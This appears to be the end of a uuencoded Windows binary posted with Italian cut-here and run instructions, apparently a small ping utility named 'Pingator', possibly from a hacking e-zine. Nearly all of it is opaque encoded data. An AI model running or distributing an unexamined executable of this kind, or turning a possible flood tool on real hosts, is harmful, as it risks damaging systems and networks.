MB],KT+F2WWNZ_+%NNL.!]P"`"?'V_WNNZ7@BZ061A]Z'URK!]MC__SPI<V>&
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
M^*-0QACXI/B^^!MCC/BV^,[XNC'&^-/XPOC5^!ACQOC6^,KXUXPQ^,[XV/C2
MQACXV?CH^"1CC/CL^"7X\#'&^";X]/@G^!B'^/@H^`@#^!@3./@,^#D0)BSX
M+6#X+M#R)DSX'DCX<9BP*/AT$/AU6#3H\OAVZ/+X>/(D&HWX>/(H^'CR+$:C
M^'CR-/AX\CSXT5B`\D#X@/),^%\`^C0:^'CR5/AX\EB-,?AX\I#X9_B4QACX
M:/B8^&ECC/B<^&KXH#'&^&OXI/AL^!ACJ/AM^*SX;HPQ^+#X;_C0QACX=_C4
M^'ACC/C8^'KXW#'&^'OXX/A\^%@LY/A]P/+X?L#R%HOX?\#R^(#`\G&(^('X
M``3XA+%8^`3XAKCR^(>X\HPQ^(GX$/B*QF+X%/B+J/+XC#'\T/+XC_@!)`0%
M`!AC\?@H^._X+,1Q^#@!,/B_`8@Q^#3X-/@X)DSX`3#(O1AC,/B^^+3XOXPQ
M^+CXP/B\QKCXP?C`^,(`````\``````````````````H````(````$`````!
M``0````````"````````````````````````````````@```@````("``(``
M``"``(``@(```,#`P`"`@(````#_``#_````__\`_P```/\`_P#__P``____
M`/__________________________________________________________
M____________________________________________________```/____
M__```/______`1$1$`____`#,S,`____\!$1$1$0__\#,S,S,P___PF1D1D1
M$0_P,[,S,S,P__\!&1$1$1$/\+LS,S,S,/_PD9$9&1$1$`L[.S,S,S,/\)F9
M&1&1$1`#N[.S,S,S#_`9D9D9&1$0"[.[L[,S,P_PF9F9D1&1D`.[L[L[,S,/
M\)F9D9F1$1`+L[.SNS,S#_"9F9F9$9$0"[N[.[.S,P__"9F9D9F9#_"[N[NS
MLS#__PF9F0F1$0_PN[N[N[,P___PF9"0&9#__PN[,[L[#____P`/#P`/___P
M`P,[`/______\`________```/________#_________\/________\`____
M______\``/_____P#________P``\*H/____\`________"JH/"JH/______
M______\*JJ#_"J#____________PJJH/__``_____________P``________
M____________________________________________________________
M________________________````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````````````````````````````````````
M````````````````````````````SX`+$@`2`/D`?0```%!I;F=A=&]R92`@
M(``$``8`&``(`/__```"4((F2&]S=```&``$`-``#`!E`(``@5"!```$`!P`
M$``(`/__```"4((@1&EM90``&``8`!@`#`!F`(``@5"!```T`!P`+``(`/__
M```"4((@("`@("`@(%1I;65R(```8``8`"``#`!G````@5"!``"$`!0`'``0
M`,D``0`!4(!);FEZ:6\``*``%``<`!``R@````%0@$9I;F4@``"\`!0`'``0
M`,L````!4(!4;V=L:2```-@`%``<`!```@````%0@$-H:75D:0``'``L`-``
M"`!I`````E""```````````````````!``$`("`0``0``0#H`@```0``````
M```````````H````/P```"<````!``0``@```'H#````````````````````
M````````````@```@````("``(````"``(``@(```("`@`#`P,````#_``#_
M````__\`_P```/\`_P#__P``____`$`````"#SQW`@````(/`O<Z=P(````"
M#P+X.(@"=P(````"#P+X.(@"=P(````"#P+X.(@"=P(````"#P+X"(@$=P)X
M*H@"=P(````"#P+X!H@"AP9W*H@"=P(````"#P+X!H@$``('`G<JB`)W`@``
M``(/`O@$B`*.`F`$``)W*H@"=P(````"#P+X!(@"C@3,`L`"=RJ(`G<"````
M`@\"^`2(``J.QN[`=P`JB`)W`@````(/`O@$B``*CL".P'<`*H@"=P(````"
M#P+X!(@`"H[`!L!W``2(!``""!*(`H`,B`)W`@````(/`O@$B`*.!,P"P`)W
M'(@"@`R(`G<"`````@\"^`2(`HX$S`+``G<$B``.@`"(@`"(@``$B``,@``(
M@``(!H``!HAW``````(/`O@$B`*.!,P"P`)W!(@""`*(!`@"B`0(!(@""`*(
M!(`"B`*`"(@"=P(````"#P+X!(@"C@3,`L`"=PB(!`@$B`((!(@""`*(!(`"
MB`*`"(@"=P(````"#P+X!(@"C@3,`L`"=PB(`@@$``*(`@@$B`((`H@$@`*(
M`H`(B`)W`@````(/`O@$B`*.!,P"P`)W!(@`"H``B`B(``0(!(@""`*(!(`"
MB`*`"(@"=P(````"#P+X!(@"C@3,`L`"=P2(`@@$B``(@`"(``2(`@@"B`2`
M`@`""`B(`G<"`````@\"^`2(`HX$S``*P'=XB`@`"H@""`2(``8(B(``#H@"
M=P(````"#P+X!(@"C@3,`L`$=P`(B`B("`:(`@@$B``&"(B```Z(`G<"````
M`@\"^`2(`FP&S``*!W=X@```#H@`!@B(@``.B`)W`@`````(#_B(A@C,`L`$
M=R:(`G<"``````@/^(AL"LP"!P)W)H@"=P(`````!@_XC@`$S``,!XCLS,!W
M)H@"=P(`````%@_XCLS`=XB.S,!W`":(`G<"`````!8/^([,P'>(CLS`>``F
MB`)W`@`````4#_B.S,!WB([,P"B(`G<"``````H/^(CLP``$B``&CLP(`"B(
M`G<"``````H/^(B.Y@`$B`*.`N8JB`)W`@````(/`O@XB`)W`@````(/`O@X
MB`)W`@````(/`O@XB`)W`@````(/`O@XB`)W`@````(/.O\"AP(````"#SK_
M`O@"````0``````!```````````````````H````/P```!X````!``0``@``
M`)0"````````````````````````````````@```@````("``(````"``(``
M@(```("`@`#`P,````#_``#_````__\`_P```/\`_P#__P``____`$`````"
M!SQW`@````(//'<"`````@\Z_P)W`@````(/"/\"]P1W+/\"=P(````"#PC_
M!G<"?RK_`G<"`````@\&_P+P!``"=P)_*O\"=P(````"#P;_`NP$S`('`G\J
M_P)W`@````(/!O\`"NQN[`=_`"K_`G<"`````@\&_P`*[`?L!W\`*O\"=P(`
M```"#P;_``KL`&P'?P`<_P+P#/\"=P(````"#P;_`NP$S`('`G\<_P+P#/\"
M=P(````"#P;_`NP$S`('`G\$_P`.\`#_\`#_\``$_P`,\``/\``/!O``!O]W
M``````(/!O\"[`3,`@<"?P3_`@\"_P0/!/\"#P3_`@\"_P3P`O\"\`C_`G<"
M`````@\&_P+L!,P"!P)_"/\"#P0`!`\$_P(/`O\$\`+_`O`(_P)W`@````(/
M!O\"[`3,`@<"=P3_``KP`/\/_P`$#P3_`@\"_P3P`O\"\`C_`G<"`````@\&
M_P+L!,P`"@=W?_\/``3_``CP`/\`!/\"#P+_!/`"``(/"/\"=P(````"#P3_
M`OP&S`+`!'<`"/\/_P\&_P(/!/\`!@__\``._P)W`@````(/!/\*S``*!W=_
M\```#O\`!@__\``._P)W`@`````&#__\``K,``;`=W\`)O\"=P(`````!@__
M[``,S`('`G\F_P)W`@`````.#__LS,!__@`$S`('`G\F_P)W`@`````4#__L
MS`=__^S,!RC_`G<"`````!0/_^S,!W__[,P/*/\"=P(`````"@___LP/``3_
M`NP"P"K_`G<"`````@\$_P+N`F\$_P+N`F\J_P)W`@````(/.O\"=P(````"
M#SK_`G<"`````@\Z_P+W`@```$```````0`````H````/P```"<````!``0`
M`@```#H#````````````````````````````````@```@````("``(````"`
M`(``@(```("`@`#`P,````#_``#_````__\`_P```/\`_P#__P``____`$``
M```"!SR(`@````('/(@"`````@<\B`(````"!PR(!'<">"J(`@````('"H@"
MAP9W*H@"`````@<*B`*'!G<JB`(````"!PJ(`H<&=RJ(`@````('"(@$```(
M!X=WB":'`H@"`````@<&B`*.`F`$``1W*H@"`````@<&B`*.!,P"P`1W`H<F
MB`*'`@````('!H@`"([&[L`$=P2(!``""!*(`H`,B`(````"!P:(``B.P([`
M!'<"AQJ(`H`*B`*'`@````('!H@`"([`!L`$=P2(``Z``(B``(B```2(``R`
M``B```@&@`*(`@````('!H@"C@3,`L`$=P`(AX@(B`0(`H@$"`2(`@@"B`2`
M`H@"@`:(`H<"`````@<&B`*.!,P"P`1W"(@$"`2(`@@$B`((`H@$@`*(`H`(
MB`(````"!P:(`HX$S`+`!'<"AP:(`@@$``*(`@@$B`((`H@$@`*(`H`&B`*'
M`@````('!H@"C@3,`L`$=P2(``J``(@(B``$"`2(`@@"B`2``H@"@`B(`@``
M``('!H@"C@3,`L`$=P`&AX@(``2(``B``(@`!(@""`*(!(`"``((!H@"AP(`
M```"!P:(`HX$S`+`!'<`!GB("``*B`((!(@`!@B(@``.B`(````"!P:(`HX$
MS`+`!G<`"'@(B`@&B`((!(@`!@B(@``,B`*'`@````('!H@"C@3,`L`&=P`&
M>(````Z(``8(B(``#H@"`````@<&B`*.!,P"P`*(!G<DB`*'`@````('!H@"
M;`;,`@@"AP1W)H@"`````@<$B`*&",P"P`*'!'<DAP*(`@````('!(@";`K,
M`@<$=R:(`@`````&!XB.``3,``X'=^S,P'=X`":(`@`````6!XB.S,"'=X[,
MP'<`*(@"``````H'B([,P``$B``&CLS``"J(`@`````*!XB.S,``!(@`!H[,
MP``JB`(````"!P2(`NP"P`2(``:.S`@`*H@"`````@<$B`*.`N8$B`*.`N8L
MB`(````"!SR(`@````('/(@"`````@<\B`(````"!SR(`@````('/(@"````
M`@<\=P(```!```````$``````````````````"@````_````'@````$`!``"
M````D@(```````````````````````````````"```"`````@(``@````(``
M@`"`@```@("``$!`0````/\``/\```#__P#_````_P#_`/__``#___\`0```
M``('//\"`````@<*_P+W!'<L_P(````"!PK_!G<"?RK_`@````('"O\&=P)_
M*O\"`````@<*_P`(=W]W?RK_`@````('!O\"\`0`!'<"?RK_`@````('!O\"
M[`3,``@'=W__)O`"_P(````"!P;_``[L;NP'=W_P`!K_`O`,_P(````"!P;_
M``SL#^P'=W\<_P+P"O\"\`(````"!P;_`![L`&P'=W_P__``__``__``!/\`
M#/``#_``#P;P`O\"`````@<&_P+L!,P`!@=W?P`$_P(/`O\$#P3_`@\$_P(/
M`O\$\`+_`O`&_P+P`@````('!O\"[`3,``@'=W_P!O\"#P0`!`\$_P(/`O\$
M\`+_`O`(_P(````"!P;_`NP$S`('!'<$_P`*\`#_#_\`!`\$_P(/`O\$\`+_
M`O`&_P+P`@````('!O\"[`3,`@<$=P`&</\/``3_``CP`/\`!/\"#P+_!/`"
M``(/"/\"`````@<&_P+L!,P"!P9W``C_#_\/!O\"#P3_``8/__``#/\"\`(`
M```"!P;_`NP$S`('!G<`!G_P```._P`&#__P``[_`@````('!/\"_`;,`L`&
M=P)_)/\"\`(````"!P3_"LP"!P1W`G\F_P(`````!@?__``*S`+`!'<"<"3P
M`O\"``````8'_^P`#,P"!P)W*/\"``````X'_^S,P'=^``3,`@<"?RC_`@``
M```*!__LS`\`!/\`!NS,#P`J_P(`````"@?_[,P/``3_``;LS`\`*O\"````
M``H'__[,#P`$_P+L`L`L_P(````"!P3_`NX";P3_`NX";RS_`@````('//\"
M`````@<\_P(````"!SQW`@```$```````0```````"@````_````)P````$`
M!``"````D`,```````````````````````````````"```"`````@(``@```
M`(``@`"`@```@("``,#`P````/\``/\```#__P#_````_P#_`/__``#___\`
M0`````((/'<"`````@\"ASIW`@````(/`O@XB`)W`@````(/`O@XB`)W`@``
M``(/`O@XB`)W`@````(/`O@(B`1W`G@JB`)W`@````(/`O@&B`*'!G<JB`)W
M`@````(/`O@&B`0``@<"=RJ(`G<"`````@\"^`2(`HX"8`0``G<JB`)W`@``
M``(/`O@$B`*.!,P`!L!WB``FAP`&B'<``````@\"^`2(``J.QN[`=P`JB`)W
M`@````(/`O@$B``,CL".P'>')H@`!H=W``````(/`O@$B``*CL`&P'<`!(@$
M``(($H@"@`R(`G<"`````@\"^`2(`HX$S``&P'>'`!J(`H`*B``&AW<`````
M`@\"^`2(`HX$S`+``G<$B``.@`"(@`"(@``$B``,@``(@``(!H``!HAW````
M``(/`O@$B`*.!,P`#,!WAX@(B`0(`H@$"`2(`@@"B`2``H@"@`:(``:'=P``
M```"#P+X!(@"C@3,`L`"=PB(!`@$B`((!(@""`*(!(`"B`*`"(@"=P(````"
M#P+X!(@"C@3,``;`=X<`!H@""`0``H@""`2(`@@"B`2``H@"@`:(``:'=P``
M```"#P+X!(@"C@3,`L`"=P2(``J``(@(B``$"`2(`@@"B`2``H@"@`B(`G<"
M`````@\"^`2(`HX$S``*P'>'B`@`!(@`"(``B``$B`((`H@$@`(``@@&B``&
MAW<``````@\"^`2(`HX$S``*P'=XB`@`"H@""`2(``8(B(``#H@"=P(````"
M#P+X!(@"C@3,`L`$=P`(>`B("`:(`@@$B``&"(B```R(``:'=P`````"#P+X
M!(@";`;,``H'=WB````.B``&"(B```Z(`G<"``````@/^(B&",P"P`1W)(@`
M!H=W```````(#_B(;`K,`@<"=R:(`G<"``````8/^(X`!,P`#`>([,S'=R2'
M``:(=P``````%@_XCLS`=XB.S,!W`":(`G<"`````!8/^([,P'>(CLS`>``F
MB`)W`@`````4#_B.S,!WB([,P"B(`G<"``````H/^(CLP``$B``&CLP(`"B(
M`G<"``````H/^(B.Y@`$B`*.`N8JB`)W`@````(/`O@XB`)W`@````(/`O@X
MB`)W`@````(/`O@XB`)W`@````(/`O@XB`)W`@````(/.O\"AP(````"#SK_
M`O@"````0``````!```````````H````/P```!X````!``0``@```*("````
M````````````````````````````@```@````("``(````"``(``@(```("`
M@`!`0$````#_``#_````__\`_P```/\`_P#__P``____`$`````"!SQW`@``
M``(//'<"`````@\Z_P)W`@````(/"/\"]P1W+/\"=P(````"#PC_!G<"?RK_
M`G<"`````@\&_P+P!``"=P)_*O\"=P(````"#P;_`NP$S`('`G\J_P)W`@``
M``(/!O\`"NQN[`=_`"K_`G<"`````@\&_P`,[`?L!W__)O``!O]W``````(/
M!O\`#.P`;`=_\!K_`O`,_P)W`@````(/!O\"[`3,`@<"?QS_`O`*_P`&\'<`
M`````@\&_P+L!,P`%@=_\/_P`/_P`/_P``3_``SP``_P``\&\``&_W<`````
M`@\&_P+L!,P"!P)_!/\"#P+_!`\$_P(/!/\"#P+_!/`"_P+P!O\`!O!W````
M``(/!O\"[`3,``8'?_``!O\"#P0`!`\$_P(/`O\$\`+_`O`(_P)W`@````(/
M!O\"[`3,`@<"=P3_``KP`/\/_P`$#P3_`@\"_P3P`O\"\`;_``;P=P`````"
M#P;_`NP$S``*!W=P_P\`!/\`"/``_P`$_P(/`O\$\`(``@\(_P)W`@````(/
M!/\"_`;,`L`$=P`(_P__#P;_`@\$_P`&#__P``S_``;P=P`````"#P3_"LP`
M"@=W?_````[_``8/__``#O\"=P(`````!@___``*S``&P'=_`"3_``;P=P``
M````!@__[``,S`('`G\F_P)W`@`````.#__LS,!__@`$S`('`G`D\``&_W<`
M`````!0/_^S,!W__[,P'*/\"=P(`````%`__[,P'?__LS`\H_P)W`@`````*
M#__^S`\`!/\"[`+`*O\"=P(````"#P3_`NX";P3_`NX";RK_`G<"`````@\Z
M_P)W`@````(/.O\"=P(````"#SK_`O<"````0``````!````````P`#(D`54
M`#,`CP!`````4')I;G0`"`!(96QV`#0`+``C`!$``@````%0@$-A;F-E;```
M```$`)``"`#__P$``E""4')I;G1I;F<`````#`"0``@`90`!``)0@B5S````
M`!0`D``(`&8``0`"4()O;B!T:&4@)7,@4')I;G1E<@`````<`)``"`!G``$`
M`E""8V]N;F5C=&5D('1O("5S``````````````````````#``,B0!Q(`$@".
M`$P``$)O<D1L9P!0<FEN=``(`$AE;'8`-``P`",`%``"`````5!"3U)"5$X`
M0V%N8V5L```$``0`A``(`/__`0`"4()0<FEN=&EN9P``!``,`(0`"`!E``$`
M`E"")7,```0`%`"$``@`9@`!``)0@F]N('1H92`E<R!0<FEN=&5R```$`!P`
MA``(`&<``0`"4()C;VYN96-T960@=&\@)7,```,``P"(`"0`:``!``!00F]R
M4VAA9&4```#__RP`D``"`&D``@``4$)O<E-H861E`````,``R(`/$@`2`*D`
M9@```%!R:6YT``@`2&5L=@`$``0`;@`(`&8````"4()0<FEN=&5R(&YA;64`
M``P`&0!C``T`9P`)``%0@"9!;&P```P`)@!B``T`:``)``%0@"9396QE8W1I
M;VX```P`,P!B``T`:0`)``%0@"9086=E<P``%@!%`!0`"`!J`````E"")D9R
M;VTZ```L`$$`$``,`&L`@`"!4($``$@`10`,``@`;`````)0@B94;SH``%8`
M00`0``P`;0"``(%0@0``>P`&`"D`#@`!`````5"`3TL``'L`&0`I``X``@``
M``%0@$-A;F-E;```>P`M`"D`#@!E`````5"`4V5T=7`N+BX```,`60`<``P`
M__\```)0@B9#;W!I97,Z```>`%4`%``,`&\```"!4($``#L`5P`Z``P`<``"
M``%0@$-O;&QA=&4@0V]P)FEE<P``!``0`&\`00!M``<``%"`4')I;G0@4F%N
M9V4``````````````,``R(`3$@`2`+$`:P``0F]R1&QG`%!R:6YT``@`2&5L
M=@`&``0`=``(`&8````"4()0<FEN=&5R(&YA;64```0`$@!X``@`__\```)0
M@E!R:6YT(%)A;F=E```)`!T`9@`*`&<`"0`#4$)O<E)A9&EO`"9!;&P```D`
M)P!G``H`:``)``%00F]R4F%D:6\`4R9E;&5C=&EO;@``"0`Q`&X`"@!I``D`
M`5!";W)2861I;P`F4&%G97,``!4`/P`4``@`:@````)0@B9&<F]M.@``*P`[
M`!``#`!K`(``@U"!``!'`#\`#``(`&P````"4((F5&\Z``!3`#L`$``,`&T`
M@`"!4($```<`5``<``@`__\```)0@B9#;W!I97,Z```B`%(`&``,`&\```"!
M4($Q```^`%,`/``*`'```P`!4$)O<D-H96-K`$-O;&QA=&4@0V]P)FEE<P``
MB``$`",`&0`!``$``5!";W)"=&X`3TL``(@`)``@`!0``@````%00F]R0G1N
M`$-A;F-E;```B`!#`"``%`!E`````5!";W)"=&X`)E-E='5P+BXN```$`!H`
M>``P`/__`0``4$)O<E-H861E````!`!/`'@`$@#__P$``%!";W)3:&%D90``
M``0``P!X``P`__\!``!00F]R4VAA9&4```"$`````0!M`'$``P``4$)O<E-H
M861E``````````````````#``,B`!1(`$@"4`#H```!396QE8W0@4')I;G1E
M<@`(`$AE;'8`!``0`(P`/`!D`$,`(5"%```0`"0`)``0``$``0`!4(!/2P``
M.@`D`"0`$`!E`````5"`)E-E='5P+BXN``!D`"0`)``0``(````!4(!#86YC
M96P```0`!`",``P`__\```)0@B90<FEN=&5R(&%N9"!P;W)T````````P`#(
M@`82`!(`G@!"``!";W)$;&<`4V5L96-T(%!R:6YT97(`"`!(96QV``@`#`",
M`#T`9`!#`"%0A0``0``D`"``%`!E`````5!"3U)"5$X`)E-E='5P``!J`"0`
M(``4``(````!4$)/4D)43@!#86YC96P```@`!`",``@`__\```)0@B90<FEN
M=&5R(&%N9"!P;W)T```4`"0`(``4``$``0`!4$)O<D)T;@!"=71T;VX`````
M(`"@``(`9@`"``!00F]R4VAA9&4```````0@;VX@%2<E<R<@;F]T('!R:6YT
M960N("5S+@U/=70@;V8@;65M;W)Y$4]U="!O9B!D:7-K('-P86-E$E!R:6YT
M:6YG(&-A;F-E;&5D+B)0<FEN=&EN9R!A8F]R=&5D(&EN(%!R:6YT($UA;F%G
M97(N'T5R<F]R(&5N8V]U;G1E<F5D(&1U<FEN9R!P<FEN="X+4')I;G0@17)R
M;W(`````````````````````````P`#(``H4`!@`R@""````1FEL92!/<&5N
M``@`2&5L=@`&``@`)``*`/__```"4()&:6QE)FYA;64Z```J``8`8@`,`&0`
M@`"!4($```8`%``D``H`__\```)0@D1I<F5C=&]R>3H``"H`%`!B``H`90``
M``)0@@``!@`@`$``"@#__P```E"")D9I;&5S.@``!@`L`$``4@!F``,`H5"#
M``!,`"``0``*`/__```"4((F1&ER96-T;W)I97,Z``!,`"P`0`!2`&<``P"A
M4(,``)(`!0`R``X``0`!``%0@$]+``"2`!<`,@`.``(````!4(!#86YC96P`
M`````````,``R``(%``8`,H`@@```$9I;&4@4V%V92!!<P`(`$AE;'8`!@`(
M`"0`"@#__P```E""1FEL929N86UE.@``*@`&`&(`#`!D`(``@5"!```&`!0`
M)``*`/__```"4()$:7)E8W1O<GDZ```J`!0`8@`*`&4````"4((```8`+`!`
M`%(`9P`#`*%0@P``!@`@`$``"@#__P```E"")D1I<F5C=&]R:65S.@``D@`%
M`#(`#@`!``$``5"`3TL``)(`%P`R``X``@````%0@$-A;F-E;```````````
M````````0`#`@`04`!@`M`!```````@`2&5L=@`*`!0`H``,`&4`@`"!4($`
M``H`"`"@``H`9`````)0@@``+P`J`"@`#@`!``$``5"`3TL``%T`*@`H``X`
M`@````%0@$-A;F-E;````````````````````,``R(`.&``3`,<`AP``0F]R
M1&QG`$9I;&4@3W!E;@`(`$AE;'8`"``(`"0`"@#__P```E""1FEL929N86UE
M.@``+``&`&@`#`!D`(``@5"!```(`!0`)``*`/__```"4()$:7)E8W1O<GDZ
M```L`!0`:``*`&4````"4((```@`)P`5``@`__\```)0@B9&:6QE<SH```@`
M,`!``%(`9@`#`*%0@P``5``G`"@`"`#__P```E"")D1I<F5C=&]R:65S.@``
M5``P`$``4@!G``,`H5"#```$``0`E``<`&@``0``4$)O<E-H861E````!``D
M`$@`8`!I``$``%!";W)3:&%D90```*``!P`D`!@``0`!``%00F]R0G1N`$)U
M='1O;@``H``E`"0`&``"`````5!";W)"=&X`0G5T=&]N``"<`/__!`"(`&H`
M`P``4$)O<E-H861E````4``D`$@`8`!K``$``%!";W)3:&%D90``````````
M`````````,``R(`+%``8`,H`AP``0F]R1&QG`$9I;&4@4V%V92!!<P`(`$AE
M;'8`"``(`"0`#`#__P```E""1FEL929N86UE.@``+``(`&``#`!D`(``@5"!
M```(`!0`)``(`/__```"4()$:7)E8W1O<GDZ```L`!0`8@`*`&4````"4((`
M``@`,`!``%(`9P`#`*%0@P``"``E`$``"`#__P```E"")D1I<F5C=&]R:65S
M.@``!``$`(P`&P#__P$``%!";W)3:&%D90````0`)`!(`&``__\!``!00F]R
M4VAA9&4```"D``0`(``4``$``0`!4$)O<D)T;@!"=71T;VX``*0`(``@`!0`
M`@````%00F]R0G1N`$)U='1O;@``H`````(`B`!I``,``%!";W)3:&%D90``
M````````````````P`#(@`44`!@`M`!+``!";W)$;&<```@`2&5L=@`*`!0`
MH``,`&4`@`"!4($```H`"`"@``H`9`````)0@@``!@`%`*@`(`!F``$``%!"
M;W)3:&%D90```"H`+``D`!@``0`!``%00F]R0G1N`$)U='1O;@``9@`L`"0`
E&``"`````5!";W)"=&X`0G5T=&]N````````````````````````
`
end
sum -r/size 32483/39232

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
<----------- TAGLIA QUI -------------------------------------------------------------------------->


  

  Indicazioni per l'uso.


  Compilare, eseguire .. divertirsi. :))


XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
